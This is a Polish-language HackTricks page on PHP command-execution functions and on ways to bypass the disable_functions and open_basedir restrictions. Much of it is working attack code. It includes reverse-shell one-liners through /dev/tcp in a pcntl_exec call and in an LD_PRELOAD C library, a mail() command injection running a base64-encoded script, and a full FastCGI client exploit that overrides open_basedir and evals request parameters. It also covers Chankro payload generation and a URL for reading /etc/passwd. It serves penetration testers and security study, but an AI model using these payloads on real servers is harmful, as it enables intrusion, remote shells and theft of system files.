PHP - Useful Functions & disable_functions/open_basedir bypass

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wykonanie polecenia i kodu w PHP

Wykonanie polecenia w PHP

Uwaga: p0wny-shell php webshell może automatycznie sprawdzić i ominąć następujące funkcje, jeśli któreś z nich zostaną wyłączone.

exec - Zwraca ostatnią linię wyniku poleceń

echo exec("uname  -a");

passthru - Przekazuje wynik polecenia bezpośrednio do przeglądarki

echo passthru("uname -a");

system - Przekazuje wynik poleceń bezpośrednio do przeglądarki i zwraca ostatnią linijkę

echo system("uname -a");

shell_exec - Zwraca wynik poleceń

echo shell_exec("uname -a");

`` (backticks) - To samo co shell_exec()

echo `uname -a`

popen - Otwiera potok do odczytu lub zapisu do procesu polecenia

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Podobne do popen(), ale z większym stopniem kontroli

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Wykonuje program (domyślnie w nowoczesnym i nieco starszym PHP musisz załadować moduł pcntl.so, aby użyć tej funkcji)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Ta funkcja służy do wysyłania wiadomości e-mail, ale może być również nadużywana do wstrzykiwania arbitralnych poleceń wewnątrz parametru $options. Dzieje się tak, ponieważ funkcja mail w PHP zazwyczaj wywołuje binarny sendmail w systemie i pozwala na dodawanie dodatkowych opcji. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, dlatego zaleca się utworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonuje go za pomocą maila i drukuje wynik:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Ta funkcja może być używana do dynamicznego ładowania rozszerzenia PHP. Funkcja ta nie zawsze będzie dostępna, dlatego należy sprawdzić, czy jest dostępna, zanim spróbujesz jej użyć do ataku. Przeczytaj tę stronę, aby dowiedzieć się, jak wykorzystać tę funkcję.

Wykonanie kodu PHP

Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w postaci podatności na Włączenie Lokalnego Pliku i Włączenie Zdalnego Pliku.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Wyłączone funkcje to ustawienie, które można skonfigurować w plikach .ini w PHP, które zabrania użycia wskazanych funkcji. Open basedir to ustawienie, które wskazuje PHP folder, do którego ma dostęp. Ustawienia PHP powinny być skonfigurowane w ścieżce /etc/php7/conf.d lub podobnej.

Obie konfiguracje można zobaczyć w wyniku działania phpinfo():

open_basedir Bypass

open_basedir skonfiguruje foldery, do których PHP ma dostęp, nie będziesz w stanie zapisywać/odczytywać/wykonuj pliki poza tymi folderami, ale również nie będziesz nawet mógł wyświetlić innych katalogów. Jednak jeśli w jakiś sposób uda ci się wykonać dowolny kod PHP, możesz spróbować poniższego fragmentu kodu, aby obejść ograniczenie.

Wyświetlanie katalogów za pomocą bypassu glob://

W tym pierwszym przykładzie użyty jest protokół glob:// z pewnym obejściem ścieżki:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Uwaga1: W ścieżce można również użyć /e??/* aby wyświetlić /etc/* i dowolny inny folder. Uwaga2: Wygląda na to, że część kodu jest zduplikowana, ale jest to konieczne! Uwaga3: Ten przykład jest przydatny tylko do wyświetlania folderów, a nie do czytania plików

Pełne obejście open_basedir wykorzystujące FastCGI

Jeśli chcesz dowiedzieć się więcej o PHP-FPM i FastCGI, możesz przeczytać pierwszą sekcję tej strony. Jeśli php-fpm jest skonfigurowany, można go nadużyć, aby całkowicie ominąć open_basedir:

Zauważ, że pierwszą rzeczą, którą musisz zrobić, jest znalezienie, gdzie znajduje się gniazdo unixowe php-fpm. Zazwyczaj jest to pod /var/run, więc możesz użyć poprzedniego kodu, aby wyświetlić katalog i je znaleźć. Kod z tutaj.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Złe żądanie');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Ta aplikacja nie może wykonywać wielokrotnych połączeń [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nowe żądanie odrzucone; zbyt zajęty [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Nieznana wartość roli [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// prawdziwy exploit zaczyna się tutaj
if (!isset($_REQUEST['cmd'])) {
die("Sprawdź swoje dane wejściowe\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // ładunek php -- Nic nie robi
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Ten skrypty będą komunikować się z gniazdem unix php-fpm (zazwyczaj znajdującym się w /var/run, jeśli jest używany fpm) w celu wykonania dowolnego kodu. Ustawienia open_basedir zostaną nadpisane przez atrybut PHP_VALUE, który jest wysyłany. Zauważ, jak używane jest eval do wykonania kodu PHP, który wysyłasz wewnątrz parametru cmd. Zauważ również zakomentowaną linię 324, możesz ją odkomentować, a payload automatycznie połączy się z podanym adresem URL i wykonana zostanie zawarta tam kody PHP. Wystarczy wejść na http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); aby uzyskać zawartość pliku /etc/passwd.

Możesz myśleć, że w taki sam sposób, w jaki nadpisaliśmy konfigurację open_basedir, możemy nadpisać disable_functions. Spróbuj, ale nie zadziała, wygląda na to, że disable_functions można skonfigurować tylko w pliku konfiguracyjnym php .ini i zmiany dokonane za pomocą PHP_VALUE nie będą miały wpływu na tę konkretne ustawienie.

bypass disable_functions

Jeśli uda ci się uruchomić kod PHP wewnątrz maszyny, prawdopodobnie chcesz przejść do następnego poziomu i wykonać dowolne polecenia systemowe. W tej sytuacji zazwyczaj odkrywasz, że większość lub wszystkie funkcje PHP, które pozwalają na wykonywanie poleceń systemowych, zostały wyłączone w disable_functions. Zobaczmy więc, jak możesz ominąć to ograniczenie (jeśli możesz)

Automatyczne odkrywanie omijania

Możesz skorzystać z narzędzia https://github.com/teambi0s/dfunc-bypasser, które wskaże, które funkcje (jeśli jakiekolwiek) możesz użyć do ominięcia disable_functions.

Omijanie za pomocą innych funkcji systemowych

Po prostu wróć na początek tej strony i sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i jest dostępna w środowisku. Jeśli znajdziesz choć jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.

Omijanie za pomocą LD_PRELOAD

Jest powszechnie znane, że niektóre funkcje w PHP, takie jak mail(), będą wykonywać binaria wewnątrz systemu. Dlatego możesz je wykorzystać, używając zmiennej środowiskowej LD_PRELOAD, aby załadować dowolną bibliotekę, która może wykonać cokolwiek.

Funkcje, które można użyć do omijania disable_functions za pomocą LD_PRELOAD

  • mail

  • mb_send_mail: Skuteczne, gdy zainstalowany jest moduł php-mbstring.

  • imap_mail: Działa, jeśli moduł php-imap jest obecny.

  • libvirt_connect: Wymaga modułu php-libvirt-php.

  • gnupg_init: Możliwe do wykorzystania z zainstalowanym modułem php-gnupg.

  • new imagick(): Ta klasa może być nadużyta do ominięcia ograniczeń. Szczegółowe techniki eksploatacji można znaleźć w obszernym opisie tutaj.

Możesz znaleźć tutaj skrypt fuzzingowy, który został użyty do znalezienia tych funkcji.

Oto biblioteka, którą możesz skompilować, aby wykorzystać zmienną środowiskową LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Ominięcie za pomocą Chankro

Aby wykorzystać tę konfigurację zabezpieczeń, możesz użyć Chankro. Jest to narzędzie, które generuje exploit w PHP, który musisz przesłać na podatny serwer i uruchomić (uzyskać do niego dostęp za pośrednictwem sieci). Chankro zapisze w dysku ofiary bibliotekę i odwrócony shell, który chcesz uruchomić, i wykorzysta sztuczkę z**LD_PRELOAD oraz funkcję PHP mail()** do uruchomienia odwróconego shella.

Zauważ, że aby użyć Chankro, mail i putenv nie mogą znajdować się na liście disable_functions. W poniższym przykładzie możesz zobaczyć, jak utworzyć exploit chankro dla arch 64, który wykona polecenie whoami i zapisze wynik w /tmp/chankro_shell.out, chankro zapisze bibliotekę i ładunek w /tmp, a ostateczny exploit będzie nosił nazwę bicho.php (to jest plik, który musisz przesłać na serwer ofiary):

#!/bin/sh
whoami > /tmp/chankro_shell.out

Włączanie i wyłączanie funkcji PHP za pomocą disable_functions i bypassowanie open_basedir

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

Jeśli zauważysz, że funkcja mail jest zablokowana przez wyłączone funkcje, nadal możesz użyć funkcji mb_send_mail. Więcej informacji na temat tej techniki i Chankro znajdziesz tutaj: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" za pomocą możliwości PHP

Zauważ, że za pomocą PHP możesz czytać i pisać pliki, tworzyć katalogi i zmieniać uprawnienia. Możesz nawet dumpować bazy danych. Być może za pomocą PHP do wyliczenia pudełka znajdziesz sposób na eskalację uprawnień/wykonanie poleceń (na przykład odczytanie pewnego prywatnego klucza ssh).

Stworzyłem webshell, który ułatwia wykonywanie tych działań (zauważ, że większość webshelli również oferuje te opcje): https://github.com/carlospolop/phpwebshelllimited

Bypassy zależne od modułów/wersji

Istnieje kilka sposobów na obejście disable_functions, jeśli używany jest jakiś określony moduł lub wykorzystać określoną wersję PHP:

Automatyczne narzędzie

Następujący skrypt próbuje niektórych z metod omówionych tutaj: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Inne interesujące funkcje PHP

Lista funkcji akceptujących wywołania zwrotne

Te funkcje akceptują parametr typu string, który może być użyty do wywołania funkcji wybranej przez atakującego. W zależności od funkcji atakujący może lub nie może mieć możliwość przekazania parametru. W takim przypadku można użyć funkcji ujawniania informacji, takiej jak phpinfo().

Wywołania zwrotne / Wywoływalne

Poniższe listy stąd

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Ujawnienie informacji

Większość tych wywołań funkcji nie jest ujściami. Ale może to być podatność, jeśli jakiekolwiek zwrócone dane są widoczne dla atakującego. Jeśli atakujący może zobaczyć phpinfo(), jest to zdecydowanie podatność.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Inne

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Funkcje systemu plików

Zgodnie z RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich wydają się mało przydatne dla atakującego. Inne są bardziej przydatne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL można użyć jako ścieżki pliku, więc wywołanie copy($_GET['s'], $_GET['d']); można użyć do przesłania skryptu PHP w dowolne miejsce w systemie. Ponadto, jeśli witryna jest podatna na żądanie wysłane za pomocą GET, każda z tych funkcji systemu plików może być wykorzystana do przekierowania ataku na inny host poprzez serwer.

Otwórz obsługę systemu plików

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Zapisz do systemu plików (częściowo w połączeniu z odczytem)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Odczytaj z systemu plików

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated